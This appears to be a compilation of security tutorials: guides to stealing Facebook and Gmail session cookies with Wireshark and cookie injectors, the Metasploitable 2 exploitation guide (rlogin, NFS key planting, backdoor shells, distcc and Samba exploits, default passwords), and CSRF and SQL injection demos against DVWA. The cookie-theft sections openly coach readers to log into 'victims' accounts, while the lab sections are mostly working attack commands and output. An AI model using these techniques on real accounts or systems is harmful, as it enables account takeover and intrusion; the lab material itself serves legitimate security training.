How to steal Facebook Authentication cookies

How to hack a facebook account – or, basically how to hijack php sessions. Yes – this is old news – yes its a common vulnerability – but you get a better idea for what it is and how it works when things are explained in detail (with screenshots!).
Before we begin, however, I want to re-emphasize that it is VERY EASY to protect yourself against this sort of attack. Facebook supports HTTPS, so when you browse facebook (or twitter for that matter) or if you have it bookmarked – please make sure you’re using HTTPS:// rather than HTTP:// in the URL at the very least, if not using a VPN solution for further encryption. Also, if the ‘victim’ logs out of facebook, the attackers session becomes invalid – so it’s a good practice to actually log out of facebook and log back in again rather than using the ‘remember me’ checkbox.
Facebook like many sites operates using authentication cookies. Their auth cookies contain a variety of information, but for our purposes this is irrelevant. Here is a sanitized cookie for reference:
Cookie: datr=1276721606-b7f94f977295759399293c5b0767618dc02111ede159a827030fc; lsd=Xesut; lxe=greg.evans%40****************; c_user=100001230367821; lo=wl9fcGXMhPfoT4bAhKFP3Q; lxs=1; sct=1276721745; xs=a615cfe596448194d6e2a8d062a90e4e
You can see the ‘lxe’ field is the login. We haven’t done any further research into what the various other fields mean, but using facebook without any kind of security you’re both leaking the email address used for your login and the session cookie.
First thing you’ll want to do is fire up your favorite packet capture application. For this example we’ve used Wireshark:

Next, set the filter in the top left to ” http.cookie contains “datr” “. This should show you only packets captured which contain the cookie we’re looking for. You can see that in this screenshot we’ve already captured a cookie.

Once you’ve found a suitable cookie, you can copy it into the buffer by right clicking on the cookie line, and clicking Copy -> Bytes (Printable Text Only)

Next you’ll want to open up firefox. You’ll need both greasemonkey and the cookieinjector script.
Simply browse to facebook – make sure you are not logged in:

Hit ALT-C to bring up the cookie injector dialog box:

Then paste in the cookie!

Hit refresh and – VIOLA! you’re now logged in as your victim! Now this doesn’t give you access to their credentials, this is about the equivalent to walking up to their workstation while they’re away from their desk and using facebook.

Neat huh? Pretty easy too. I smiled big when we demo’ed the attack in our lab – its old, sure, but being successful is always a good feeling!

Metasploitable 2 Exploitability Guide

Metasploitable 2

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network. (Note: A video tutorial on installing Metasploitable 2 is available at the link Tutorial on installing Metasploitable 2.0 on a Virtual Box Host Only network.)

This document outlines many of the security flaws in the Metasploitable 2 image. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.

Getting Started

After the virtual machine boots, login to console with username msfadmin and password msfadmin. From the shell, run the ifconfig command to identify the IP address.

msfadmin@metasploitable:~$ ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Services

From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. The following command line will scan all TCP ports on the Metasploitable 2 instance:

root@ubuntu:~# nmap -p0-65535 192.168.99.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT

Nmap scan report for 192.168.99.131

Host is up (0.00028s latency).

Not shown: 65506 closed ports

PORT      STATE SERVICE

21/tcp    open  ftp

22/tcp    open  ssh

23/tcp    open  telnet

25/tcp    open  smtp

53/tcp    open  domain

80/tcp    open  http

111/tcp   open  rpcbind

139/tcp   open  netbios-ssn

445/tcp   open  microsoft-ds

512/tcp   open  exec

513/tcp   open  login

514/tcp   open  shell

1099/tcp  open  rmiregistry

1524/tcp  open  ingreslock

2049/tcp  open  nfs

2121/tcp  open  ccproxy-ftp

3306/tcp  open  mysql

3632/tcp  open  distccd

5432/tcp  open  postgresql

5900/tcp  open  vnc

6000/tcp  open  X11

6667/tcp  open  irc

6697/tcp  open  unknown

8009/tcp  open  ajp13

8180/tcp  open  unknown

8787/tcp  open  unknown

39292/tcp open  unknown

43729/tcp open  unknown

44813/tcp open  unknown

55852/tcp open  unknown

MAC Address: 00:0C:29:9A:52:C1 (VMware)

Nearly every one of these listening services provides a remote entry point into the system. In the next section, we will walk through some of these vectors.

Services: Unix Basics

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

# rlogin -l root 192.168.99.131

Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p 192.168.99.131

   program vers proto   port  service

    100000    2   tcp    111  portmapper

    100000    2   udp    111  portmapper

    100024    1   udp  53318  status

    100024    1   tcp  43729  status

    100003    2   udp   2049  nfs

    100003    3   udp   2049  nfs

    100003    4   udp   2049  nfs

    100021    1   udp  46696  nlockmgr

    100021    3   udp  46696  nlockmgr

    100021    4   udp  46696  nlockmgr

    100003    2   tcp   2049  nfs

    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

    100021    1   tcp  55852  nlockmgr

    100021    3   tcp  55852  nlockmgr

    100021    4   tcp  55852  nlockmgr

    100005    1   udp  34887  mountd

    100005    1   tcp  39292  mountd

    100005    2   udp  34887  mountd

    100005    2   tcp  39292  mountd

    100005    3   udp  34887  mountd

    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131

Export list for 192.168.99.131:

/ *

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:

root@ubuntu:~# ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa.

Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t

root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131

Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

Services: Backdoors

On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence ":)" [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:

root@ubuntu:~# telnet 192.168.99.131 21

Trying 192.168.99.131...

Connected to 192.168.99.131.

Escape character is '^]'.

220 (vsFTPd 2.3.4)

user backdoored:)

331 Please specify the password.

pass invalid

^]

telnet> quit

Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200

Trying 192.168.99.131...

Connected to 192.168.99.131.

Escape character is '^]'.

id;

uid=0(root) gid=0(root)

On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.

msfconsole

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131

msf  exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler

[*] Connected to 192.168.99.131:6667...

    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo 8bMUYsfmGvOLHBxe;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "8bMUYsfmGvOLHBxe\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id

uid=0(root) gid=0(root)

Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:

root@ubuntu:~# telnet 192.168.99.131 1524

Trying 192.168.99.131...

Connected to 192.168.99.131.

Escape character is '^]'.

root@metasploitable:/# id

uid=0(root) gid=0(root) groups=0(root)

Services:Unintentional Backdoors

In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.

msfconsole

msf > use exploit/unix/misc/distcc_exec

msf  exploit(distcc_exec) > set RHOST 192.168.99.131

msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.

root@ubuntu:~# smbclient -L //192.168.99.131

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

        Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

        tmp             Disk      oh noes!

        opt             Disk     

        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole

msf > use auxiliary/admin/smb/samba_symlink_traversal

msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131

msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...

[*] Trying to mount writeable share 'tmp'...

[*] Trying to link 'rootfs' to the root filesystem...

[*] Now access the following share to browse the root filesystem:

[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \> cd rootfs

smb: \rootfs\> cd etc

smb: \rootfs\etc\> more passwd

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

Weak Passwords

In additional to the more blatant backdoors and misconfigurations, Metasploit2 has terrible password security for both system and database server accounts. The primary administrative user msfadmin has a password matching the username. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. At a minimum, the following weak system accounts are configured on the system.

Account Name	Password
msfadmin	msfadmin
user	user
postgres	postgres
sys	batman
klog	123456789
service	service

In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. The VNC service provides remote desktop access using the password password.

Vulnerable Web Services

Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL http://<IP> where <IP> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". (Note: A video tutorial on installing Metasploitable 2 is available at the link Tutorial on installing Metasploitable 2.0 on a Virtual Box Host Only network.)

In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to http://192.168.56.101/ shows the web application home page.

Note: 192.168.56/24 is the default "host only" network in Virtual Box. IP address are assigned starting from "101". Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.

To access a particular web application, click on one of the links provided. Individual web applications may additionally be accessed by appending the application directory name onto http://<IP> to create URL http://<IP>/<Application Folder>/. For example, the Mutillidae application may be access (in this example) at address http://192.168.56.101/mutillidae/. The applications are installed in Metasploitable 2 in the /var/www directory. (Note: See a list with command "ls /var/www".) In the current version as of this writing, the applications are

• mutillidae (NOWASP Mutillidae 2.1.19)
• dvwa (Damn Vulnerable Web Application)
• phpMyAdmin
• tikiwiki (TWiki)
• tikiwiki-old
• dav (WebDav)

Vulnerable Web Service: Mutillidae

The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.

Note: Tutorials on using Mutillidae are available at the webpwnized YouTube Channel.

Enable hints in the application by click the "Toggle Hints" button on the menu bar:

The Mutillidae application contains at least the following vulnerabilities on these respective pages:

Page	Vulnerabilities
add-to-your-blog.php	SQL Injection on blog entry     SQL Injection on logged in user name     Cross site scripting on blog entry     Cross site scripting on logged in user name     Log injection on logged in user name     CSRF     JavaScript validation bypass     XSS in the form title via logged in username     The show-hints cookie can be changed by user to enable hints even though they are not suppose to show in secure mode
arbitrary-file-inclusion.php	System file compromise     Load any page from any site
browser-info.php	XSS via referer HTTP header JS Injection via referer HTTP header XSS via user-agent string HTTP header
capture-data.php	XSS via any GET, POST, or Cookie
captured-data.php	XSS via any GET, POST, or Cookie
config.inc*	Contains unencrytped database credentials
credits.php	Unvalidated Redirects and Forwards
dns-lookup.php	Cross site scripting on the host/ip field O/S Command injection on the host/ip field This page writes to the log. SQLi and XSS on the log are possible GET for POST is possible because only reading POSTed variables is not enforced.
footer.php*	Cross site scripting via the HTTP_USER_AGENT HTTP header.
framing.php	Click-jacking
header.php*	XSS via logged in user name and signature The Setup/reset the DB menu item canbe enabled by setting the uid value of the cookie to 1
html5-storage.php	DOM injection on the add-key error message because the key entered is output into the error message without being encoded
index.php*	You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value. You can SQL injection the UID cookie value because it is used to do a lookup You can change your rank to admin by altering the UID value HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header This page is responsible for cache-control but fails to do so This page allows the X-Powered-By HTTP header HTML comments There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing
log-visit.php	SQL injection and XSS via referer HTTP header SQL injection and XSS via user-agent string
login.php	Authentication bypass SQL injection via the username field and password field SQL injection via the username field and password field XSS via username field JavaScript validation bypass
password-generator.php	JavaScript injection
pen-test-tool-lookup.php	JSON injection
phpinfo.php	This page gives away the PHP server configuration Application path disclosure Platform path disclosure
process-commands.php	Creates cookies but does not make them HTML only
process-login-attempt.php	Same as login.php. This is the action page.
redirectandlog.php	Same as credits.php. This is the action page
register.php	SQL injection and XSS via the username, signature and password field
rene-magritte.php	Click-jacking
robots.txt	Contains directories that are supposed to be private
secret-administrative-pages.php	This page gives hints about how to discover the server configuration
set-background-color.php	Cascading style sheet injection and XSS via the color field
show-log.php	Denial of Service if you fill up the log XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields
site-footer-xss-discusson.php	XSS via the user agent string HTTP header
source-viewer.php	Loading of any arbitrary file including operating system files.
text-file-viewer.php	Loading of any arbitrary web page on the Interet or locally including the sites password files. Phishing
user-info.php	SQL injection to dump all usernames and passwords via the username field or the password field XSS via any of the displayed fields. Inject the XSS on the register.php page. XSS via the username field
user-poll.php	Parameter pollution GET for POST XSS via the choice parameter Cross site request forgery to force user choice
view-someones-blog.php	XSS via any of the displayed fields. They are input on the add to your blog page.

Vulnerable Web Services: DVWA

From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.".

DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App.

Default username = admin

Default password = password

Vulnerable Web Services: Information Disclosure

Additionally, an ill-advised PHP information disclosure page can be found at http://<IP>/phpinfo.php. In this example, the URL would be http://192.168.56.101/phpinfo.php. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE -CVE-2012-1823 and CVE -CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2.

You can download Metasploitable here.

Session Hijacking

WHAT IS SESSION HIJACKING? WHAT DO YOU USE?

Session Hijacking, is when you take someones cookie and inject it into your browser, letting you log in without the password. 

In beginner terms: Session Hijacking is taking the persons unique code (cookie) stored in their browser while they are logged into something (like GMail). If you have that code, you can put it into your own browser, and trick the system into thinking you are that user. This is a common method on how you can hack emails.

It's a pretty simple concept, however it can be pretty hard to perform if you're still a learner or beginner hacker, and takes a lot of programs. 

So, to get started we need the proper tools for this sorta thing:

Cain and Abel: (Only if you're going to do this on Windows)
http://www.net-security.org/software.php?id=110

Network Miner: (Alternative to Wireshark)
http://sourceforge.net/projects/networkminer/

Wireshark: (What we use in this particular tutorial)
http://www.wireshark.org

Now that we have what we need, move on down to part 2! 

Session Hijacking PART 2

HOW DO YOU PERFORM "SESSION HIJACKING"?

Ok, now it's time to actually hijack the session token and get into that account!

In this specific tutorial, we will focus on GMail, which uses a cookie called the GX Cookie. This is vital because we need to know exactly what we are trying to capture before capturing it, because computers, as you may know, need things to be very specific,

First off, we gotta decide which path to take. If you're on a hub based network, you can find local traffic with packet sniffers. Here, we will be using Wireshark.
Let's start by downloading Wireshark (link was given above). Install it and then, once opened, click on Analyze, then click on Interfaces. Now click on the interface appropriate to you and click Start. 

---

Now Wireshark should start capturing the traffic. By now you should start seeing the term "packets", this is a term used in wireless connections. For more information on this "packet" term, you can go to my Wireless Cracking tutorial. I explain more stuff there about wireless. After all, It's about wireless cracking!

So now that you're capturing the data packets, you can log into gmail and set the "Don't use https://" option. This option will make you vulnerable to these session hijacking attacks. We want to do this so that you can practice hacking on yourself. 

Next, set the filter on the top left to http.cookie contains "Gx" in Wireshark to filter out all the unnecessary stuff... we just want the GX cookie. Got that? Once you have found the right line of Gmail GX Cookie, right click on it and click "copy", then click "Bytes (Printable Text Only)"

Yay! You just capture the GX Unsecured cookie! Keep in mind now before you do this that you would need a Wincap before capturing the traffic from Wireshark (or Network Miner for that matter) 


This concludes Part 2. Scroll down the part 3 now if you're still thirsty for hacking goodness! 

Session Hijacking PART 3

HOW DO I INJECT IT INTO MY BROWSER AND GET INTO THE ACCOUNT?

So, congratulations so far on reading this much! But, you may be wondering how capturing the cookie did anything if you're not on the account yet? Well... Thats because you still have to complete the injection part, where you trick your browser into thinking you are that person you're hacking, so it will let you go on the account. This is sorta the key part of this session hijacking stuff.

Firstly, there are a ton of plug-ins for achieving the injection part, and like you may have guessed, their free! They usually fall under the category of "Cookie Editors".

In this tutorial, we will be using the Firefox Browser, it's by far the best for the injection part of session hijacking! You will also need the "Developer Toolbar" for it , as this is what we will be using in the tutorial.

Firefox Browser: 
http://www.mozilla.org/en-US/

Developer Toolbar:https://addons.mozilla.org/en-US/firefox/addon/web-developer/

Once you have installed the WebDeveloper Toolbar, click on the "cookie" drop-down menu, and select the cookie you want to edit. Once you have selected the "Edit Cookie" option, you should get the following screen on the side.

Now replace the cookie value with your victims cookie value.

In this tutorial we used Wireshark, so there is an easier way for us to achieve the same thing. Instead of using WebDeveloper Toolbar, you may just use the Cookie Injector with GreasMonkey installed to inject it directly into your browser. Simply press     Alt-C after installing it and just paste the Wireshark cookie dump, then press OK. Now just refresh your browser and you are in your victims account!

GreasMonkey:https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/

Now, session hijacking isn't always that great under certain circumstances:
1. First of all cookie stealing becomes useless if victim is using a https:// protocol for browsing and end to end encryption is enabled.

2. Most of the cookies expire once the victims clicks on the logout button and hence the attacker also logs out of the account.

3. Lots of websites do not sport parallel logins which also makes cookie stealing useless.

Although these seem like major drawbacks, It's still good to know. Not only that but lots of people leave their accounts logged in all day! (Facebook users, I'm pointing at you!)

Thanks for reading this, and I hope you use this along your hacking journey!

CSRF Proof of Concept with OWASP ZAP

1. Introduction

This article introduces CSRF (cross-site request forgery) vulnerability and demonstrates how to prepare a CSRF proof of concept with OWASP ZAP.

2. Cross-site request forgery

The vulnerability allows an attacker to forge a user request. Consequently, the user does what the attacker wants. Here’s an example:

I. Social engineering is used to lure the user to the attacker’s website. Simultaneously, the user is logged in to bank X.

II. Let’s assume, that the bank X’s money transfer form is vulnerable to CSRF (no CSRF token, no authorization password). The attacker prepares an exploit that transfers the user’s money to his account and puts it on his website.

III. When the user visits the site of the attacker, the exploit is launched.

IV. The request of money transfer is sent by the user to bank X. From the perspective of bank X, everything is fine (with a valid authentication cookie.)

3. Environment
Metasploitable is a Linux based virtual machine that is deliberately vulnerable. [1] It can be used, for example, to practice penetration testing skills. The machine is vulnerable and should not operate in bridge mode.
OWASP Mutillidae II is web application that’s also deliberately vulnerable (OWASP Top 10 vulnerabilities.) [2]. It’s a part of Metasploitable (edit /var/www/mutillidae/config.inc on Metasploitable and set $dbname = ‘owasp10′ to get OWASP Mutillidae II working.) One can use OWASP Mutillidae II to play with web application security.
OWASP Zed Attack Proxy (ZAP) is a penetration testing tool for web site security testing [3]. This article presents how to use OWASP ZAP to prepare CSRF proof of concept.
4. OWASP Mutillidae II – a form for adding new entries to a blog

This form is available in Metasploitable at 192.168.56.101/mutillidae/index.php?page=add-to-your-blog.php (192.168.56.101 is the IP address of Metasploitable.)
It’s vulnerable to cross-site request forgery. Let’s set the Security Level to 0 (which can be changed using Toggle Security) and configure the browser to send traffic through OWASP ZAP. Then launch OWASP ZAP to see the request that will be generated, and add an exemplary comment (BLOG_ENTRY_1) to the blog of USER (name of the registered user).

5. OWASP ZAP – analyzing the request

OWASP ZAP was launched before submitting the blog entry. Let’s see the request. The key parts were marked in the screenshot.

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

• Dual Certification - CEH and CPT
• 5 days of Intensive Hands-On Labs
• Expert Instruction
• CTF exercises in the evening
• Most up-to-date proprietary courseware available

VIEW ETHICAL HACKING

There’s no protection against cross-site request forgery when the Security Level is set to 0 (the value of csrf-token is SecurityIsDisabled.) One can use data from this request to prepare a CSRF proof-of concept manually. However, OWASP ZAP can do it automatically.

6. OWASP ZAP – generating CSRF proof of concept

Right click on the request and choose “Generate anti-CSRF test FORM.”

A new tab is opened with a CSRF proof of concept. It contains the POST parameters and values from the request. The values can be adjusted by the attacker.


7. Launching CSRF proof of concept

Let’s log in as a different user (USER2), who is the victim of CSRF attack. Then go to the tab with a CSRF proof of concept and click submit. Finally BLOG_ENTRY_1 is added to the blog of USER2.


8. Summary

This article introduced CSRF vulnerability and presented how to use OWASP ZAP to prepare a CSRF proof of concept. The user is redirected to the vulnerable form after launching the attack. Real attacks would probably use AJAX request, in order to be silent. However, the CSRF proof of concept generated by OWASP ZAP is fine for the purposes of a vulnerability demonstration.

References:
[1] Metasploitable
http://www.offensive-security.com/metasploit-unleashed/Metasploitable (access date: 28 September 2013)
[2] OWASP Mutillidae II
http://sourceforge.net/projects/mutillidae/ (access date: 28 September 2013)

[3] OWASP ZAP
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project (access date: 28 September 2013)

Fuzzing for SQL injection with Burp Suite Intruder

1. Introduction

This article introduces Burp Suite Intruder and shows how it can be used for SQL injection fuzzing.

2. Burp Suite Intruder

It is a part of Burp Suite, which is an integrated platform for website security testing [1]. Burp Suite Intruder is helpful when fuzzing for vulnerabilities in web applications.

Let’s assume that a penetration tester wants to find SQL injection vulnerabilities. First he needs to intercept the request with Burp Suite Proxy. Then the request is sent to Burp Suite Intruder. After that, the penetration tester needs to define the parameters that will be tested for SQL injection. The next step is defining the payloads and attack type (described later in the article). Then Burp Suite Intruder is launched. When fuzzing is finished, the penetration tester is expected to analyze the output to identify potential vulnerabilities.

3. Target
DVWA (Damn Vulnerable Web Application) is a web application that is intentionally vulnerable [2]. One can use it to play with web application security stuff.

Let’s attack the website in DVWA that is vulnerable to SQL injection. The user is asked to enter User ID. Then the first name and surname of the user are displayed.


DVWA is a part of Metasploitable, which is an intentionally vulnerable Linux-based virtual machine [3]. It can be used to practice penetration testing skills. Please keep in mind that this machine is vulnerable and should not operate in bridge mode.

4. Request Interception, Payload Position, Attack Type

Let’s set the security level to low (it can be changed using DVWA Security) in DVWA. Then enter User ID, click submit and intercept the request with Burp Suite Proxy. The next step is sending the request to Burp Suite Intruder (click right on the request and choose “Send to Intruder”). Then use the “Add” button in Burp Suite Intruder to choose the parameter that will be fuzzed (it is called payload position in Burp Suite Intruder). User ID is sent in parameter id. That’s why it is chosen as a payload position.


As can be seen on the screenshot, sniper was chosen as an attack type. Then a single set of payloads is used and the payloads are taken one by one. It starts from the first position. When all payloads from the set are used, the same procedure is executed for the next payload position if it’s present. That’s why the number of requests generated is a product of the payloads in the set and payload positions.

5. Set of payloads

A penetration tester can create his own list of payloads or use an existing one. Exemplary payloads can be found, for example, in Kali Linux (penetration testing distribution [4]) in the /usr/share/wfuzz/wordlist/Injections directory. Let’s use SQL.txt from this location to test the parameter id for SQL injection vulnerability.


Then choose “Start attack” from the Burp Suite Intruder menu to start fuzzing.

6. Output analysis and exploitation

Let’s see how the website responds to different payloads. As we can observe, the length of the response changes. It is 4699 bytes for baseline request (the one with id equal to 2) and 5005 bytes, when x’ or 1=1 or ‘x’='y is the payload.


It might suggest that more data was read from the database. Let’s check the response for this payload.


As we can see, this payload can be used to extract first names and surnames of all users from the database.

7. Summary

Burp Suite Intruder was introduced. It can be helpful when fuzzing for vulnerabilities in web applications. Exemplary payloads can be found, for example, in Kali Linux in /usr/share/wfuzz/wordlist/Injections directory. It was presented how to use Burp Suite Intruder for SQL injection fuzzing.

References:
[1] Burp Suite http://portswigger.net/burp/ (access date: 25 October 2013)
[2] DVWA (Damn Vulnerable Web Application) http://www.dvwa.co.uk/ (access date: 25 October 2013)
[3] Metasploitable http://www.offensive-security.com/metasploit-unleashed/Metasploitable (access date: 25 October 2013)

 

[4] Kali Linux http://www.kali.org/ (access date: 25 October 2013)

Vulnerable Applications

Introduction

How often have we found ourselves in need of a vulnerable application, which we could use for various purposes? We could use such applications to test the web application scanners to assess the effectiveness of each scanner. We could also use vulnerable applications to test our knowledge of specific vulnerability detection and exploitation.
In this article we’ll introduce two applications: the Damn Vulnerable Web Application (DVWA) and WebGoat. These two applications exist for one purpose only: to contain web vulnerabilities which we can exploit. Those two applications can be categorized as shown in the picture below. They are web applications, which require a webserver to run.

• Damn Vulnerable Web Applications (DVWA): PHP/MySQL web applications that contain various vulnerabilities.
• WebGoat: J2EE web application maintained by OWASP, designed to teach web application security lessons.

Damn Vulnerable Web Applications

First we need to download the Damn Vulnerable Web Application, extract it, and move it into the Apache document root folder:
# unzip DVWA-1.0.7.zip

# mv dvwa/ /var/www/

DVWA needs Apache web server and MySQL database server to function correctly, which is why we need to start them. To start both of them we need to issue the commands below:
# /etc/init.d/apache start

# /etc/init.d/mysql start

Afterwards we also need to edit DVWA configuration file /var/www/dvwa/config/config.inc.php, so the DVWA will be able to connect to the MySQL database. We have to change the following settings: db_server specifies the server host, which is localhost. The db_database specifies the name of the database to use; the database will be created once we’ve successfully set-up the DVWA web application. The last two configuration variables, db_user and db_password specify the username and password for MySQL database. On Backtrack Linux distribution the default username and password for MySQL are root:toor.
The relevant part of the configuration file is presented below:
$_DVWA = array();

$_DVWA[ 'db_server' ] = ‘localhost’;

$_DVWA[ 'db_database' ] = ‘dvwa’;

$_DVWA[ 'db_user' ] = ‘root’;

$_DVWA[ 'db_password' ] = ‘toor’;

When we first connect to the URI http://localhost/dvwa/ we’ll have to set up the database. To do that we need to press on the “Create/Reset Database” button as presented in the picture below:

We can see that the database dvwa has been successfully created. Two tables were also created and popularized in that database. Those two tables are users table and guestbook table.
Afterwards, we can successfully login with the default username admin and password password that were automatically created by the DVWA web application. The next picture shows the DVWA login web page.

When we’ve successfully authenticated into the application, the web application will look like the picture below:

